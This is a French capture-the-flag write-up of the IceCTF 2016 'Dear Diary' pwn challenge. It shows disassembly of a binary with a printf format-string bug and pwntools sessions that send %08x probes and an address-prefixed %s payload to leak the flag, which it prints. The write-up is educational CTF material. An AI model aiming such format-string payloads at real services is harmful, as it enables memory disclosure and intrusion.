Dear Diary [IceCTF] [pwn] [60pts]

Cet article est le write up d’un challenge du CTF IceCTF 2016 , c’est un challenge de type pwn qui vaut 60points .

Voici la description du challenge :

We all want to keep our secrets secure and what is more important than our precious diary entries? We made this highly secure diary service that is sure to keep all your boy crushes and edgy poems safe from your parents.

Lançons le binaire et testons un peu le programme :

neolex@neolex-pc> dear_diary_PWN_60pt$nc diary.vuln.icec.tf 6501 
-- Diary 3000 --

1. add entry
2. print latest entry
3. quit
> 1
Tell me all your secrets: test

1. add entry
2. print latest entry
3. quit
> 2
test

1. add entry
2. print latest entry
3. quit
> 3

Il faut donc entrer une « entry » puis on peut l’afficher , regardons le code assembleur du binaire afin de trouver la vulnérabilité possible :

08048721 <print_entry>:
 8048721:    55                       push   ebp
 8048722:    89 e5                    mov    ebp,esp
 8048724:    83 ec 28                 sub    esp,0x28
 8048727:    8b 45 08                 mov    eax,DWORD PTR [ebp+0x8]
 804872a:    89 45 e4                 mov    DWORD PTR [ebp-0x1c],eax
 804872d:    65 a1 14 00 00 00        mov    eax,gs:0x14
 8048733:    89 45 f4                 mov    DWORD PTR [ebp-0xc],eax
 8048736:    31 c0                    xor    eax,eax
 8048738:    8b 45 e4                 mov    eax,DWORD PTR [ebp-0x1c]
 804873b:    89 04 24                 mov    DWORD PTR [esp],eax
 804873e:    e8 4d fd ff ff           call   8048490 <printf@plt>
 8048743:    a1 80 a0 04 08           mov    eax,ds:0x804a080
 8048748:    89 04 24                 mov    DWORD PTR [esp],eax
 804874b:    e8 50 fd ff ff           call   80484a0 <fflush@plt>
 8048750:    8b 45 f4                 mov    eax,DWORD PTR [ebp-0xc]
 8048753:    65 33 05 14 00 00 00     xor    eax,DWORD PTR gs:0x14
 804875a:    74 05                    je     8048761 <print_entry+0x40>
 804875c:    e8 5f fd ff ff           call   80484c0 <__stack_chk_fail@plt>
 8048761:    c9                       leave  
 8048762:    c3                       ret

Nous voyons ici que dans la fonction print_entry  la derniere entrée est affichier directement depuis un printf sans utiliser de chaine formatée donc comme ceci :

printf(last_entry);

Il y a donc une vulnérabilité de type format string attack, avec celle ci nous pouvons lire ce qui est stockée a une adresse precise .

Cherchons donc dans la  fonction « flag » du binaire l’adresse qui contient le flag :

0804863d <flag>:
 804863d:    55                       push   ebp
 804863e:    89 e5                    mov    ebp,esp
 8048640:    83 ec 28                 sub    esp,0x28
 8048643:    65 a1 14 00 00 00        mov    eax,gs:0x14
 8048649:    89 45 f4                 mov    DWORD PTR [ebp-0xc],eax
 804864c:    31 c0                    xor    eax,eax
 804864e:    c7 44 24 04 00 00 00     mov    DWORD PTR [esp+0x4],0x0
 8048655:    00 
 8048656:    c7 04 24 40 89 04 08     mov    DWORD PTR [esp],0x8048940
 804865d:    e8 9e fe ff ff           call   8048500 <open@plt>
 8048662:    89 45 f0                 mov    DWORD PTR [ebp-0x10],eax
 8048665:    c7 44 24 08 00 01 00     mov    DWORD PTR [esp+0x8],0x100
 804866c:    00 
 804866d:    c7 44 24 04 a0 a0 04     mov    DWORD PTR [esp+0x4],0x804a0a0
 8048674:    08 
 8048675:    8b 45 f0                 mov    eax,DWORD PTR [ebp-0x10]
 8048678:    89 04 24                 mov    DWORD PTR [esp],eax
 804867b:    e8 00 fe ff ff           call   8048480 <read@plt>
 8048680:    8b 45 f4                 mov    eax,DWORD PTR [ebp-0xc]
 8048683:    65 33 05 14 00 00 00     xor    eax,DWORD PTR gs:0x14
 804868a:    74 05                    je     8048691 <flag+0x54>
 804868c:    e8 2f fe ff ff           call   80484c0 <__stack_chk_fail@plt>
 8048691:    c9                       leave  
 8048692:    c3                       ret

La fonction read est appelé avec les aguments suivant :

  • Le retour de open
  • et l’adresse 0x0804a0a0

Nous devons donc lire ce qu’il y  à a l’adresse 0x0804a0a0 .

Essayons donc de trouver comment récupérer ce qu’il y a a l’adresse AAAA pour l’instant .

pour cela nous utilisons la bibliothèque pwn de python :

> from pwn import *
>>> conn = remote('diary.vuln.icec.tf',6501)
[*] Opening connection to diary.vuln.icec.tf on port 6501: 
[*] Opening connection to diary.vuln.icec.tf on port 6501: Trying 104.154.248.13
[+] Opening connection to diary.vuln.icec.tf on port 6501: Done
>>> conn.recv()
'-- Diary 3000 --\n\n1. add entry\n2. print latest entry\n3. quit\n> '
>>> conn.send("1\n")
>>> conn.recv()
'Tell me all your secrets: '
>>> conn.send("AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x\n")
>>> conn.recv()
'\n1. add entry\n2. print latest entry\n3. quit\n> '
>>> conn.send("2\n")
>>> conn.recv()
'AAAAf7e57836.f7fce000.ffffc888.ffffdc88.00000000.0000000a.5f6dc700.00000000.

00000000.ffffdc98.0804888c.ffffc888.00000004.f7fcec20.00000000.00000000.00000001.41414141\n\n1. add entry\n2. print latest entry\n3. quit\n> '

Il faut donc 18 %08x successif pour afficher le code hexadécimal de AAAA , donc remplacer AAAA par notre adresse et le dernier %08x par un %s pour afficher la chaîne pointée par cette adresse :

neolex@neolex-pc> dear_diary_PWN_60pt$python2
Python 2.7.12 (default, Jun 28 2016, 08:31:05) 
[GCC 6.1.1 20160602] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> conn = remote('diary.vuln.icec.tf',6501)
[*] Opening connection to diary.vuln.icec.tf on port 6501: 
[*] Opening connection to diary.vuln.icec.tf on port 6501: Trying 104.154.248.13
[+] Opening connection to diary.vuln.icec.tf on port 6501: Done
>>> conn.recv()
'-- Diary 3000 --\n\n1. add entry\n2. print latest entry\n3. quit\n> '
>>>  conn.send("1\n")
  File "<stdin>", line 1
    conn.send("1\n")
    ^
IndentationError: unexpected indent
>>> conn.send("1\n")
>>> conn.recv()
'Tell me all your secrets: '
>>> conn.send("\xa0\xa0\x04\x08%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08s\n")
>>> conn.recv()
'\n1. add entry\n2. print latest entry\n3. quit\n> '
>>> conn.send("2\n")
>>> conn.recv()
'\xa0\xa0\x04\x08f7e57836.f7fce000.ffffc888.ffffdc88.00000000.0000000a.df8a1f00.

00000000.00000000.ffffdc98.0804888c.ffffc888.00000004.f7fcec20.00000000.00000000.00000001.IceCTF{this_thing_is_just_sitting_here}\n\n\n1. add entry\n2. print latest entry\n3. quit\n> '
Voilà le flag !

Le flag est donc IceCTF{this_thing_is_just_sitting_here}  !

Merci

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.